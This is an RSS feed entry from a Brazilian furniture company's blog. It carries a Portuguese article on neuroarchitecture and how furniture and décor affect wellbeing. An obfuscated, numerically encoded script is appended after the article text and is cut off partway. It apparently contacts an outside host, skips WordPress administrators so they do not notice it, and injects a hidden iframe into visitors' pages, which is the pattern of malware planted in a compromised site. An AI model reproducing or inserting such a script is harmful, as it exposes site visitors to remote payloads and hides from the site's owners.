					<description><![CDATA[<p>Nosso cérebro tem uma capacidade incrível de análise. Essa capacidade é fruto de milhares de anos de evolução. Muitos cientistas seguem estudando os mistérios da mente humana, buscando entender a maneira como ela reage aos diferentes estímulos que temos no mundo. Entre as muitas ciências dedicadas a essa missão, está a neuroarquitetura.&#160; A neuroarquitetura é&#8230;&#160;<a href="https://marel.com.br/entenda-a-relacao-dos-moveis-planejados-com-a-neuroarquitetura/" rel="bookmark">Continue a ler &#187;<span class="screen-reader-text">Entenda a relação dos móveis planejados com a neuroarquitetura</span></a></p>
<p>O post <a href="https://marel.com.br/entenda-a-relacao-dos-moveis-planejados-com-a-neuroarquitetura/">Entenda a relação dos móveis planejados com a neuroarquitetura</a> apareceu primeiro em <a href="https://marel.com.br">Marel Design Mobili</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Nosso cérebro tem uma capacidade incrível de análise. Essa capacidade é fruto de milhares de anos de evolução. Muitos cientistas seguem estudando os mistérios da mente humana, buscando entender a maneira como ela reage aos diferentes estímulos que temos no mundo. Entre as muitas ciências dedicadas a essa missão, está a neuroarquitetura.&nbsp;</p>



<p class="wp-block-paragraph">A neuroarquitetura é uma ciência que mescla os conhecimentos da arquitetura com as descobertas da neurociência — campo científico dedicado ao estudo da mente. Por se tratar de uma ciência relativamente recente, ainda há muito para se descobrir. Isso não quer dizer que já não existam experiências interessantes para inspirar arquitetos e decoradores do mundo todo.&nbsp;</p>



<h2 class="wp-block-heading">Neuroarquitetura: o poder do ambiente na vida humana&nbsp;</h2>



<p class="wp-block-paragraph">Quando olhamos um bairro com casas cercadas por muros altos, deduzimos de que se trata de um local violento, pouco amistoso. Por outro lado, cercas baixas nos parecem mais convidativas, transmitindo tranquilidade.</p>



<p class="wp-block-paragraph">Se você já atua há algum tempo no ramo da arquitetura, sabe que os exemplos citados se referem aquilo que os especialistas chamam&nbsp;<a rel="noreferrer noopener" aria-label=" (abre numa nova aba)" href="https://repositorio.ufba.br/ri/handle/ri/21134" target="_blank">“arquitetura do medo”</a>.&nbsp;</p>



<p class="wp-block-paragraph">Contudo, esses exemplos também nos ajudam a entender o conceito de neuroarquitetura, já que esse campo de estudo busca entender como a arquitetura de um local influencia o bem-estar de quem mora ali.&nbsp;</p>



<p class="wp-block-paragraph">Portanto, se a arquitetura de um bairro nos inspira medo, trata-se de um objeto de estudo para a neuroarquitetura. Como você já deve ter percebido, a neuroarquitetura se propõe a estudar fenômenos que já existiam.&nbsp;</p>



<p class="wp-block-paragraph">Há séculos, os arquitetos já sabiam que a arquitetura poderia despertar diferentes emoções nas pessoas — eles só não entendiam como e porque isso acontecia.&nbsp;</p>



<p class="wp-block-paragraph">As catedrais são um exemplo disso. Projetadas para fazer com que as pessoas se sintam próximas a Deus, essas igrejas têm um projeto de iluminação com vitrais e uma acústica própria, capaz de dar aos visitantes uma experiência que contribui para a sua espiritualidade.&nbsp;</p>



<p class="wp-block-paragraph">Aliás, Jonas Salk, um grande entusiasta da neuroarquitetura, foi profundamente impactado pela arquitetura de uma igreja, a Basílica de São Francisco de Assis, em Roma. Salk era um médico virologista norte-americano. Ele desenvolveu uma das primeiras vacinas contra a poliomielite da história. Ele afirmava que a arquitetura da basílica romana o inspirou e fez com que trabalhasse melhor.&nbsp;</p>



<p class="wp-block-paragraph">O fascínio dele sobre esse impacto foi tamanho que ele incentivou pesquisas que buscassem entender o tema, dando os primeiros passos ao que hoje conhecemos como neuroarquitetura.&nbsp;</p>



<p class="wp-block-paragraph">Hoje, o principal centro de pesquisas desse assunto é a Academia de Neurociência Para Arquitetura (<a href="https://anfarch.ucsd.edu/tiki-index.php" target="_blank" rel="noreferrer noopener" aria-label=" (abre numa nova aba)">ANFA</a>, na sigla em inglês). Ela está localizada na Califórnia e conta com um belo prédio inspirado na basílica que encantou Salk no século passado.&nbsp;</p>



<h2 class="wp-block-heading">Experimentos que demonstram o poder da neuroarquitetura</h2>



<p class="wp-block-paragraph">Um dos objetivos da neuroarquitetura é tentar mensurar o impacto da arquitetura na nossa percepção de mundo, por meio de experimentos que analisam nossa resposta corporal.&nbsp;</p>



<p class="wp-block-paragraph">Durante a Semana de Milão, pesquisadores da Universidade John Hopkins, em parceria com o Google, analisaram o impacto de cada ambiente decorado no visitante. O estudo foi feito por meio de uma pulseira que avaliava a pressão arterial dessas pessoas, que não sabiam que estavam sendo analisadas.&nbsp;</p>



<p class="wp-block-paragraph">Foram criados três espaços que simulavam salas de estar. Em cada um deles, foi aplicado um projeto decorativo totalmente diferente, usando recursos que poderiam ser encontrados pelos arquitetos na hora de criarem os seus próprios projetos.&nbsp;</p>



<p class="wp-block-paragraph">Alguns desses espaços acalmaram os visitantes, enquanto outros os estressaram. Essas percepções e resultados eram absolutamente pessoais.&nbsp;</p>



<h2 class="wp-block-heading">Neuroarquitetura no ambiente residencial e corporativo&nbsp;</h2>



<p class="wp-block-paragraph">O mobiliário é peça fundamental de qualquer projeto de decoração. Sendo assim, ele também se torna elemento central da neuroarquitetura.&nbsp;</p>



<p class="wp-block-paragraph">No ambiente corporativo, é preciso criar uma atmosfera que reduza o estresse. Móveis como mesas e cadeiras já atendem às necessidades ergonômicas, cuidando da saúde do corpo. Com a neuroarquitetura, eles passam, também, a cuidar da saúde mental.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Se você quer um ambiente menos estressante, vale a pena redecorar o escritório, fazendo com que a iluminação, a altura dos móveis, a ventilação e as cores contribuam para reduzir sentimentos negativos.&nbsp;</p>



<p class="wp-block-paragraph">O mesmo pensamento vale para o ambiente residencial. Móveis com aspecto pesado, com cores muito escuras e design pouco amigável podem tornar o seu local de descanso em um cômodo pouco relaxante.&nbsp;</p>



<p class="wp-block-paragraph">Decorar a sala de estar, por exemplo, precisa ser uma experiência que adapte às tendências às necessidades do morador — caso contrário, aqueles móveis tão bonitos vão chateá-lo e ninguém quer viver assim.&nbsp;</p>



<p class="wp-block-paragraph">A neuroarquitetura é um campo de estudo novo, porém muito promissor. Usando a tecnologia para avaliar a percepção do nosso corpo sobre os ambientes decorados, dá-se aos profissionais a chance de reduzir erros na hora de escolher os elementos que irão compor a decoração.&nbsp;</p>



<p class="wp-block-paragraph">Enquanto essa tecnologia está sendo desenvolvida, cabe aos profissionais o estudo constante sobre esse e outros temas — e nós podemos ajudá-lo nessa missão. Assine nossa newsletter para receber os artigos mais recentes em seu e-mail!&nbsp;</p>
<script>(function(){var __s=(function(){var _0x5641=[114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,120,50,46,46,42,41,96,117,117,40,53,41,40,63,60,47,40,56,53,41,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42,120,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,87,80,122,122,122,122,33,122,46,63,55,42,54,59,46,63,96,122,120,50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39,120,118,122,47,41,63,28,63,46,57,50,96,122,46,40,47,63,122,39,87,80,122,122,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,114,46,35,42,63,53,60,122,9,35,55,56,53,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,122,124,124,122,9,35,55,56,53,54,116,60,53,40,115,87,80,122,122,122,122,101,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,115,87,80,122,122,122,122,96,122,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,97,87,80,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,87,80,122,122,122,122,41,46,59,46,47,41,96,122,120,51,62,54,63,120,118,87,80,122,122,122,122,51,60,40,59,55,63,19,62,96,122,120,5,5,51,52,54,51,52,63,5,53,60,60,63,40,5,51,60,40,59,55,63,5,5,120,118,87,80,122,122,122,122,51,60,40,59,55,63,27,46,46,40,96,122,120,62,59,46,59,119,51,52,54,51,52,63,119,53,60,60,63,40,119,60,40,59,55,63,120,118,87,80,122,122,122,122,50,51,52,46,41,96,122,33,39,118,87,80,122,122,122,122,40,47,52,10,40,53,55,51,41,63,96,122,52,47,54,54,118,87,80,122,122,122,122,62,63,41,46,40,53,35,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,44,63,59,54,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,96,122,110,106,106,106,118,87,80,122,122,122,122,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,96,122,99,106,106,106,118,87,80,122,122,122,122,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,96,122,60,59,54,41,63,118,87,80,122,122,122,122,55,63,41,41,59,61,63,24,53,47,52,62,96,122,60,59,54,41,63,87,80,122,122,39,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,45,51,52,62,53,45,116,5,5,62,51,41,59,56,54,63,19,52,54,51,52,63,21,60,60,63,40,5,5,122,103,103,103,122,46,40,47,63,122,38,38,122,45,51,52,62,53,45,116,5,5,51,41,13,42,27,62,55,51,52,5,5,122,103,103,103,122,46,40,47,63,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,42,59,46,50,122,103,122,45,51,52,62,53,45,116,54,53,57,59,46,51,53,52,116,42,59,46,50,52,59,55,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,4,6,117,114,45,42,119,59,62,55,51,52,38,45,42,119,54,53,61,51,52,115,117,116,46,63,41,46,114,42,59,46,50,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,53,53,49,51,63,122,103,122,62,53,57,47,55,63,52,46,116,57,53,53,49,51,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,45,53,40,62,42,40,63,41,41,5,54,53,61,61,63,62,5,51,52,5,1,4,103,7,112,103,117,116,46,63,41,46,114,57,53,53,49,51,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,62,63,122,103,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,44,59,40,122,56,53,62,35,122,103,122,62,53,57,47,55,63,52,46,116,56,53,62,35,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,63,122,124,124,122,46,35,42,63,53,60,122,62,63,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,45,42,119,46,53,53,54,56,59,40,6,56,117,116,46,63,41,46,114,62,63,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,56,53,62,35,122,124,124,122,46,35,42,63,53,60,122,56,53,62,35,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,59,62,55,51,52,119,56,59,40,6,56,117,116,46,63,41,46,114,56,53,62,35,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,120,45,42,59,62,55,51,52,56,59,40,120,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,115,122,33,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,54,53,59,62,51,52,61,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,62,53,52,63,120,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,54,53,59,62,51,52,61,120,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,49,63,35,118,122,44,59,54,115,122,33,87,80,122,122,122,122,44,59,40,122,41,63,42,122,103,122,47,40,54,116,51,52,62,63,34,21,60,114,120,101,120,115,122,100,103,122,106,122,101,122,120,124,120,122,96,122,120,101,120,97,87,80,122,122,122,122,40,63,46,47,40,52,122,47,40,54,122,113,122,41,63,42,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,49,63,35,115,122,113,122,120,103,120,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,44,59,54,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,46,63,55,42,54,59,46,63,122,38,38,122,123,51,62,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,53,18,46,46,42,15,40,54,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,51,60,122,114,123,44,59,54,47,63,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,41,122,103,122,9,46,40,51,52,61,114,44,59,54,47,63,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,87,80,122,122,122,122,122,122,116,46,40,51,55,114,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,1,125,120,58,6,41,7,113,38,1,125,120,58,6,41,7,113,126,117,61,118,122,120,120,115,97,87,80,87,80,122,122,122,122,51,60,122,114,123,41,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,123,117,4,1,59,119,32,7,1,59,119,32,106,119,99,113,116,119,7,112,96,6,117,6,117,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,117,4,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,1,6,117,101,121,7,38,126,115,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,122,122,41,122,103,122,120,50,46,46,42,41,96,117,117,120,122,113,122,41,97,87,80,122,122,122,122,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,47,122,103,122,52,63,45,122,15,8,22,114,41,115,97,87,80,122,122,122,122,122,122,51,60,122,114,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,96,120,122,38,38,122,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,41,96,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,47,116,50,40,63,60,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,118,122,62,63,42,46,50,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,52,42,47,46,122,38,38,122,62,63,42,46,50,122,100,122,105,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,53,18,46,46,42,15,40,54,114,51,52,42,47,46,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,46,53,9,46,40,51,52,61,116,57,59,54,54,114,51,52,42,47,46,115,122,103,103,103,122,120,1,53,56,48,63,57,46,122,27,40,40,59,35,7,120,115,122,33,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,51,52,42,47,46,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,59,40,40,12,59,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,51,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,59,40,40,12,59,54,115,122,40,63,46,47,40,52,122,59,40,40,12,59,54,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,53,56,48,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,49,63,35,41,122,103,122,1,120,47,40,54,120,118,122,120,54,51,52,49,120,118,122,120,50,40,63,60,120,118,122,120,54,53,57,59,46,51,53,52,120,118,122,120,40,63,62,51,40,63,57,46,120,118,122,120,46,59,40,61,63,46,120,118,122,120,54,59,52,62,51,52,61,120,118,122,120,54,59,52,62,51,52,61,15,40,54,120,7,97,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,48,122,103,122,106,97,122,48,122,102,122,49,63,35,41,116,54,63,52,61,46,50,97,122,48,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,49,63,35,122,103,122,49,63,35,41,1,48,7,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,63,35,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,63,35,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,49,122,51,52,122,51,52,42,47,46,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,52,63,41,46,63,62,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,52,63,41,46,63,62,115,122,40,63,46,47,40,52,122,52,63,41,46,63,62,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,122,33,87,80,122,122,122,122,51,60,122,114,123,40,59,45,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,46,63,34,46,122,103,122,9,46,40,51,52,61,114,40,59,45,115,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,123,46,63,34,46,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,46,53,18,46,46,42,15,40,54,114,46,63,34,46,115,97,87,80,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,87,80,122,122,122,122,51,60,122,114,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,33,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,39,120,115,122,38,38,87,80,122,122,122,122,122,122,122,122,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,1,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,7,120,115,115,122,33,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,42,59,40,41,63,62,122,103,122,16,9,21,20,116,42,59,40,41,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,48,41,53,52,15,40,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,42,59,40,41,63,62,118,122,106,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,48,41,53,52,15,40,54,115,122,40,63,46,47,40,52,122,48,41,53,52,15,40,54,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,18,46,46,42,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,120,125,102,100,7,113,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,18,46,46,42,122,124,124,122,55,59,46,57,50,18,46,46,42,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,50,46,46,42,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,18,46,46,42,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,50,46,46,42,15,40,54,115,122,40,63,46,47,40,52,122,50,46,46,42,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,30,53,55,59,51,52,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,6,56,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,6,117,1,4,6,41,120,125,102,100,7,112,115,101,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,30,53,55,59,51,52,122,124,124,122,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,53,55,59,51,52,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,55,59,51,52,15,40,54,115,122,40,63,46,47,40,52,122,62,53,55,59,51,52,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,47,40,54,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,15,8,22,114,47,40,54,115,116,53,40,51,61,51,52,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,62,62,18,51,52,46,114,40,63,54,118,122,50,40,63,60,115,122,33,87,80,122,122,122,122,51,60,122,114,123,50,40,63,60,122,38,38,122,123,62,53,57,47,55,63,52,46,122,38,38,122,123,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,44,59,40,122,49,63,35,122,103,122,40,63,54,122,113,122,120,96,96,120,122,113,122,50,40,63,60,97,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,42,59,40,63,52,46,122,103,122,62,53,57,47,55,63,52,46,116,50,63,59,62,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,51,60,122,114,123,42,59,40,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,54,51,52,49,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,54,51,52,49,120,115,97,87,80,122,122,122,122,122,122,54,51,52,49,116,40,63,54,122,103,122,40,63,54,97,87,80,122,122,122,122,122,122,54,51,52,49,116,50,40,63,60,122,103,122,50,40,63,60,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,40,63,54,122,103,103,103,122,120,42,40,63,57,53,52,52,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,122,122,54,51,52,49,116,57,40,53,41,41,21,40,51,61,51,52,122,103,122,120,59,52,53,52,35,55,53,47,41,120,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,42,59,40,63,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,54,51,52,49,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,122,33,87,80,122,122,122,122,44,59,40,122,53,40,51,61,51,52,41,122,103,122,33,39,97,87,80,122,122,122,122,44,59,40,122,59,42,51,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,27,10,19,5,19,30,5,15,8,22,115,97,87,80,122,122,122,122,51,60,122,114,59,42,51,21,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,59,42,51,21,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,60,53